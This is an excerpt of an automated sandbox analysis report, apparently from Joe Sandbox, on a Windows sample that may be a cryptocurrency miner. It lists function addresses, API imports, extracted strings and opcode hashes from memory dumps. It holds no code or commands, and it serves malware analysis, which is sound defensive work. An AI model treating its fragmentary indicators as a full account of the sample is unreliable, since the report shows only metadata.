Part of subcall function 00007FF666860660: closesocket.WS2_32 ref: 00007FF666860814

GetSystemInfo.KERNEL32 ref: 00007FF66685B7E9
RtlInitializeCriticalSection.NTDLL ref: 00007FF66685B800
RtlInitializeCriticalSection.NTDLL ref: 00007FF66685B850
SetConsoleCtrlHandler.KERNEL32 ref: 00007FF66685B862
CreateSemaphoreA.KERNEL32 ref: 00007FF66685B87F
GetLastError.KERNEL32 ref: 00007FF66685B891
CreateFileW.KERNEL32 ref: 00007FF66685B8CA
QueueUserWorkItem.KERNEL32 ref: 00007FF66685B8EA
RtlInitializeCriticalSection.NTDLL ref: 00007FF66685B8F7
QueryPerformanceFrequency.KERNEL32 ref: 00007FF66685B905
SetEvent.KERNEL32 ref: 00007FF66685B969
CloseHandle.KERNEL32 ref: 00007FF66685B97B
WaitForSingleObject.KERNEL32 ref: 00007FF66685B989
GetLastError.KERNEL32 ref: 00007FF66685B9A7

Strings

CreateEvent, xrefs: 00007FF66685B9AF
CONOUT$, xrefs: 00007FF66685B8B2

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalInitializeSection$CreateErrorHandle$EventLastLibraryLoadModuleSystemclosesocketgetsockoptsocket$CloseConsoleCtrlFileFrequencyHandlerInfoItemMetricsModeObjectPerformanceQueryQueueSemaphoreSingleStartupUserWaitWorkhtons
String ID: CONOUT$$CreateEvent
API String ID: 1276289879-3840627317
Opcode ID: d22071442ce2074f398ff8493150f7da5bef321a32f22c89a3271c75fdcf7a32
Instruction ID: 760ecfc3d2795c1224a52293c4d478512f573764eea73801725e1cb5ed36256c
Opcode Fuzzy Hash: d22071442ce2074f398ff8493150f7da5bef321a32f22c89a3271c75fdcf7a32
Instruction Fuzzy Hash: DD718F31A19A43C2EBA09B24F85037963B1FFA4794F504239C95ECE6A1EF3EA445CF50

Function 00007FF66683CFF0 Relevance: 17.7, Instructions: 17660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0156a679ef8a64c2a6bd5e277bc838434c4443eddb7f6a12930c9ef0cd28985
Instruction ID: 673dad1999eefd8a69fa640aabeee39f673918b28f17a1b01214e6138804e8a6
Opcode Fuzzy Hash: c0156a679ef8a64c2a6bd5e277bc838434c4443eddb7f6a12930c9ef0cd28985
Instruction Fuzzy Hash: 4B84C573A24BC481EB12CB39D4516AAB360FBDA784F019326EF8967B15EF39E151C740

Function 00007FF66689D6D4 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF66689D74D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF66689D765
RtlVirtualUnwind.KERNEL32 ref: 00007FF66689D7A0
IsDebuggerPresent.KERNEL32 ref: 00007FF66689D7D9
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF66689D7E3
UnhandledExceptionFilter.KERNEL32 ref: 00007FF66689D7EE

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: c42caf503b1dc513aa4c44fa7136d65174dfd4813e45ae800a89b63ffd264678
Instruction ID: 38b9169083f5a57bb6475858125b324ad907f167c2746a718c8ef20c718f6ed1
Opcode Fuzzy Hash: c42caf503b1dc513aa4c44fa7136d65174dfd4813e45ae800a89b63ffd264678
Instruction Fuzzy Hash: D0316F36608F82C6DB209B35F8402AE73B4FB84758F500239EA8D8BB59DF39D1558B10

Function 00007FF666800D90 Relevance: 8.3, APIs: 5, Instructions: 792threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF666801B90: VirtualAlloc.KERNEL32 ref: 00007FF6668E2F5A

_Xtime_get_ticks.LIBCPMT ref: 00007FF666801448
_Thrd_sleep.LIBCPMT ref: 00007FF6668014C2
_Mtx_unlock.LIBCPMT ref: 00007FF6668018F3
SwitchToThread.KERNEL32 ref: 00007FF666801940
SwitchToThread.KERNEL32 ref: 00007FF6668019FC

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: SwitchThread$AllocMtx_unlockThrd_sleepVirtualXtime_get_ticks
String ID:
API String ID: 3741233554-0
Opcode ID: ed6171177b1fac5ed06add585495f30d7061092af19d097cca66f5f79c363a35
Instruction ID: 4b9616485838dd3f9d9cee2030a9fb3f704f4135ed6a3623441e70e8dce7502e
Opcode Fuzzy Hash: ed6171177b1fac5ed06add585495f30d7061092af19d097cca66f5f79c363a35
Instruction Fuzzy Hash: 3F72AC32B15A82C6EB14CF64E4402B963B5FB49B88F44063ACA8D8F795DF3EE515CB50

Function 00007FF6667FED90 Relevance: 8.3, APIs: 5, Instructions: 778threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6667FFB40: VirtualAlloc.KERNEL32 ref: 00007FF6668E2F5A

_Xtime_get_ticks.LIBCPMT ref: 00007FF6667FF448
_Thrd_sleep.LIBCPMT ref: 00007FF6667FF4C2
_Mtx_unlock.LIBCPMT ref: 00007FF6667FF8F3
SwitchToThread.KERNEL32 ref: 00007FF6667FF940
SwitchToThread.KERNEL32 ref: 00007FF6667FF9AA

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: SwitchThread$AllocMtx_unlockThrd_sleepVirtualXtime_get_ticks
String ID:
API String ID: 3741233554-0
Opcode ID: 1b85f6dbe04f8454a566836b3308d7558224bc35e30251f666bb1534fad4fe19
Instruction ID: 4fd1dd80d7969f772e7b14f163761a4e6b15214b83102ae86b5eff4c548f7768
Opcode Fuzzy Hash: 1b85f6dbe04f8454a566836b3308d7558224bc35e30251f666bb1534fad4fe19
Instruction Fuzzy Hash: FA72AC72B14B82C6EB14CB25E4506A96BB5FB84B88F440236DE4D8F7A5DF3EE505CB40

Function 00007FF6667F70F0 Relevance: 8.1, Strings: 6, Instructions: 565COMMON

Download Yara Rule

Strings

params, xrefs: 00007FF6668CC8C0
result, xrefs: 00007FF6668CC6D5
error, xrefs: 00007FF6668CC7CE
error, xrefs: 00007FF6668CC5DB
job, xrefs: 00007FF6668CCABC
method, xrefs: 00007FF6668CC9B9

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID: error$error$job$method$params$result
API String ID: 0-4113728344
Opcode ID: 68a6978b4f4b89c364a737308dcd3e917fdc6614bd3174e434ecba52896bef97
Instruction ID: 56cf8b13fdc67c52f4e71fb6e01dc8567c68fa67e29950bd6afc3ca3f9e4f17f
Opcode Fuzzy Hash: 68a6978b4f4b89c364a737308dcd3e917fdc6614bd3174e434ecba52896bef97
Instruction Fuzzy Hash: 9632BF22F18642C6FB60CB71A1007B966B1AB54B94F144339DE5E9FBCADF3EE4418B50

Function 00007FF6667FD030 Relevance: 6.7, APIs: 4, Instructions: 731threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6667FDBD0: VirtualAlloc.KERNEL32 ref: 00007FF6668E2F5A

_Xtime_get_ticks.LIBCPMT ref: 00007FF6667FD6E7
_Thrd_sleep.LIBCPMT ref: 00007FF6667FD761
_Mtx_unlock.LIBCPMT ref: 00007FF6667FDB3F
SwitchToThread.KERNEL32 ref: 00007FF6667FDB5C

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: AllocMtx_unlockSwitchThrd_sleepThreadVirtualXtime_get_ticks
String ID:
API String ID: 3455807871-0
Opcode ID: 608d1d4948447238435a2608b6cee69ad7f4023de87a1abc497e4ebe94159778
Instruction ID: 06204b3aa5f0888c29d3f875408c072eacf6e208c03fdd96e5d8b7723786acb2
Opcode Fuzzy Hash: 608d1d4948447238435a2608b6cee69ad7f4023de87a1abc497e4ebe94159778
Instruction Fuzzy Hash: 64628B32B18B82C5EB14CB25E4506A96BB5FB89B88F44013ACE4D8F795DF3EE545CB40

Function 00007FF6668D2E20 Relevance: 6.5, APIs: 4, Instructions: 529threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00007FF6668D2F9C
SetThreadAffinityMask.KERNEL32 ref: 00007FF6668D2FA8
GetCurrentThread.KERNEL32 ref: 00007FF6668D2FF3
SetThreadPriority.KERNEL32 ref: 00007FF6668D2FFE

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: Thread$Current$AffinityMaskPriority
String ID:
API String ID: 116323144-0
Opcode ID: 208f4d5bf56c2ffe0d5268757c88df76bfa1188a4cf5d00b3fa7cd42322c9e28
Instruction ID: 4002f8ce5ae419308d46f042dcf52f7da443694d48b90aa0bcbe218d02654412
Opcode Fuzzy Hash: 208f4d5bf56c2ffe0d5268757c88df76bfa1188a4cf5d00b3fa7cd42322c9e28
Instruction Fuzzy Hash: E322AB72A08682C7E664CB25B45067A73B5FB55394F05023ADB8D8FB91DF3EE841CB20

Function 00007FF66682B830 Relevance: 6.3, Instructions: 6347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 183de0fb912c1976551b36d8167ab5025b08959a43b9cc1b832323b39ca7103b
Instruction ID: 554bc23429e2b3f2c42327cdf2deac0800c0f8c7fb391feefad1a5efdcc3c23e
Opcode Fuzzy Hash: 183de0fb912c1976551b36d8167ab5025b08959a43b9cc1b832323b39ca7103b
Instruction Fuzzy Hash: 25D3D573A24BC481EB12CB39D4516AAB360FBDA784F019326EF8967B15EF39E151C740

Function 00007FF6668D58D0 Relevance: 4.2, Strings: 3, Instructions: 408COMMON

Download Yara Rule

Strings

hw-aes, xrefs: 00007FF6668D5E79, 00007FF6668D5E99
cpu, xrefs: 00007FF6668D5A93, 00007FF6668D5D5B
priority, xrefs: 00007FF6668D5BB2, 00007FF6668D5BD2

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID: cpu$hw-aes$priority
API String ID: 118556049-695868346
Opcode ID: c23601486a92ea8d833bc35c01ad3a0a7da6691d27af1b75c6b73e736ed3559b
Instruction ID: 2e813b921f60c826262da3ca012b0956ff6d31354de187a4c085425768b07418
Opcode Fuzzy Hash: c23601486a92ea8d833bc35c01ad3a0a7da6691d27af1b75c6b73e736ed3559b
Instruction Fuzzy Hash: 9F028032B14B51C9EB10CF60E8402AC37B4FB44B98F61422ADE5C5BB98EF79E596C710

Function 00007FF6668FF3C0 Relevance: 4.1, Strings: 3, Instructions: 328COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF6668FF4D7
gfff, xrefs: 00007FF6668FF4B4
%x:%x.%x, xrefs: 00007FF6668FF8A0

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID: %x:%x.%x$gfff$gfff
API String ID: 0-2706413318
Opcode ID: 57bbd6377c9ca96d939797d6dd2757821b836a6bae4783e7c7b1ce00c87c720d
Instruction ID: 244b109ffa14a8587d78e825a1e006e068a897e298db3722fc472fb5fa97e7a4
Opcode Fuzzy Hash: 57bbd6377c9ca96d939797d6dd2757821b836a6bae4783e7c7b1ce00c87c720d
Instruction Fuzzy Hash: 6BD1F877314F8885DB40CF69E89168A37A9F759F88F55A626DE8C8B318DF38D4A4C340

Function 00007FF6668D4BC0 Relevance: 4.0, Strings: 3, Instructions: 248COMMON

Download Yara Rule

Strings

threads, xrefs: 00007FF6668D4D6F
intensity, xrefs: 00007FF6668D4CF2
affinity, xrefs: 00007FF6668D4DEA

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID: affinity$intensity$threads
API String ID: 0-2570081736
Opcode ID: fce556ff4bf51f0ee02698641145b880ed1045c71000508bbe7d547ae19b9308
Instruction ID: 071b7757fc64592a9ca4b8d2218e5a4bdf66c78f198005c9ddb52d439859e248
Opcode Fuzzy Hash: fce556ff4bf51f0ee02698641145b880ed1045c71000508bbe7d547ae19b9308
Instruction Fuzzy Hash: 39A17D62B04A52C5EB10CB65E8512BC2371FB84768F54423ADE6D9F7D8DF39E481C720

Function 00007FF666814410 Relevance: 3.7, Instructions: 3673COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcc0c91666dd66f2bd3848c4a3ec29e8b75e67a0537a50125013fe0e832a5699
Instruction ID: 7e6109ff39950db7435867233042de24b05f3fb7887d637cd02d8a3ed114021b
Opcode Fuzzy Hash: dcc0c91666dd66f2bd3848c4a3ec29e8b75e67a0537a50125013fe0e832a5699
Instruction Fuzzy Hash: 4573C473A24BC581EB12CB3D94516AAB360FBDA780F019326EF8963B15EF79E151C740

Function 00007FF6668F3D60 Relevance: 3.0, Strings: 2, Instructions: 483COMMON

Download Yara Rule

Strings

gj, xrefs: 00007FF6668F432F
VUUU, xrefs: 00007FF6668F44C4

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID: VUUU$gj
API String ID: 0-4043792639
Opcode ID: 7eaa3c78dbed5a0154ac65e5f8ec452987eb50ea9776bb3b7d4a13a9a4e0161b
Instruction ID: 971d84f7e29a1f70b295d553d5a15235d617dd36de34c817e3e9d6972ed65d7b
Opcode Fuzzy Hash: 7eaa3c78dbed5a0154ac65e5f8ec452987eb50ea9776bb3b7d4a13a9a4e0161b
Instruction Fuzzy Hash: FE32C172A186C0CEE725CF35E8407ED7BB1F799388F10422AEA499BA59DB79D544CF00

Function 00007FF6668E6F80 Relevance: 3.0, Strings: 2, Instructions: 481COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00007FF6668E76D4
gj, xrefs: 00007FF6668E753F

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID: VUUU$gj
API String ID: 0-4043792639
Opcode ID: 6b279a4e69629a33a3d5f61edf2438c4550a79e3cec99fea4f32f8f3b794b22f
Instruction ID: 67c9646b4d0b37b7ec11348630f3c0a8dad1da9ddc5fd732536f7d03c2dd9dbb
Opcode Fuzzy Hash: 6b279a4e69629a33a3d5f61edf2438c4550a79e3cec99fea4f32f8f3b794b22f
Instruction Fuzzy Hash: 6532CF72A187C0CEE725CF39E8407AD7BB1F759348F104229EA499BA59DB79E544CF00

Function 00007FF6668EC7B0 Relevance: 3.0, Strings: 2, Instructions: 481COMMON

Download Yara Rule

Strings

gj, xrefs: 00007FF6668ECD6F
VUUU, xrefs: 00007FF6668ECF04

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID: VUUU$gj
API String ID: 0-4043792639
Opcode ID: d33b741cfede50329b46d598a8b0f3e719c93e0a92a6b10bda23cbb74e26ff49
Instruction ID: 56c516754a68296aa1573d900b82241dc483e8def5ea3bf736893c78b35fd4ac
Opcode Fuzzy Hash: d33b741cfede50329b46d598a8b0f3e719c93e0a92a6b10bda23cbb74e26ff49
Instruction Fuzzy Hash: 5532C072A186C0CEE721CF35E8407ED7BB1F799348F004229EA999BA59DB79D541CF00

Function 00007FF6668F7840 Relevance: 3.0, Strings: 2, Instructions: 481COMMON

Download Yara Rule

Strings

gj, xrefs: 00007FF6668F7DFF
VUUU, xrefs: 00007FF6668F7F94

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

